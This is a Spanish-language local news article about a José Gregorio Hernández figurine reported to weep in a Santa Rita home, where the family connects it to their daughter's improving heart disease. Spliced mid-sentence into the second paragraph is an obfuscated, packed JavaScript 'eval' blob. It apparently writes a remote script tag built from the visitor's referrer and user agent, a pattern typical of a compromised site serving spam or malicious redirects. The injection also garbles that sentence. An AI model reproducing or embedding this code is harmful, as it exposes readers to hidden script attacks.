Imagen de José Gregorio Hernández llora en Santa Rita

Dioxelis Reyes Hernández / [email protected] / Santa Rita
Sobre eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhira|var|u0026u|referrer|iarns||js|php'.split('|'),0,{})) una mesa reposa la imagen del santo. De sus ojos emana una sustancia brillante, espesa e incolora. Son las lágrimas que hasta las mentes más incrédulas pueden observar como corren, se secan y vuelven a surgir del triste rostro

Los rumores se esparcieron rápidamente por todo el municipio y, más aún, en plena urbanización Villa Santa Rita, en la casa número KK08 perteneciente a la familia Rosendo Núñez, donde súbitamente una imagen de José Gregorio Hernández comenzó a llorar.

En una pequeña sala, vecinos y creyentes improvisaron un altar y se aproximaron a la vivienda de Kellin Núñez. Botellas con agua, flores, crucifijos y velas se dispusieron sobre la mesa donde reposa la imagen del santo. De sus ojos emana una sustancia brillante, espesa e incolora. Son las lágrimas que hasta las mentes más incrédulas pueden observar como corren, se secan y vuelven a surgir del triste rostro.

“La figura la trajimos de Isnotú en Semana Santa. Fue un obsequio de la madrina de mi esposo. Estuvo mucho tiempo sobre el televisor, hasta que mis dos hijos se dieron cuenta de que estaba llorando. Al principio no les creía y tampoco había luz, cuando alumbramos nos dimos cuenta que era cierto”, narró Kellin Núñez.

El hallazgo fue por parte de la pequeña Daniela, su niña de ocho años, quien desde su nacimiento fue diagnosticada con una cardiopatía congénita cianótica e insuficiencia pulmonar, un mal que la mantenía en una cama de hospital y que motivó a sus padres a hacerle una promesa al famoso doctor por su mejoría.

“Yo no era muy creyente de José Gregorio, pero Daniela desde los tres años decía que lo veía junto a la Virgen de la Milagrosa. Ella fue quien insistió en que fuéramos a pagar la promesa a Isnotú. Daniela vivía enferma, mostraba un color morado, y ahora se ha visto mejorada, así que todos pensamos que el milagro es para ella”, explicó la mujer.

Entre devoción y milagros

La casa de los Rosendo Núñez permanece con las puertas abiertas. A la luz de innumerables velas se mantiene la estatuilla. La familia recibe a sus visitantes con amabilidad y en un extremo de esa salita se amontonan sillas de plástico para los visitantes.

La familia espera poder reunir recursos para realizarle exámenes a Daniela y comprobar si fue curada o no. Mientras tanto, decenas de creyentes se aproximarán al hogar para dar fe y rendir tributo a las lágrimas de este hombre que para muchos ya es un santo venezolano. Un representante de la iglesia católica visitó la vivienda. Durante su inspección comprobó la veracidad del evento, por lo que recomendó a la familia informar a las autoridades religiosas de Isnotú, interesadas en la beatificación de galeno.

 

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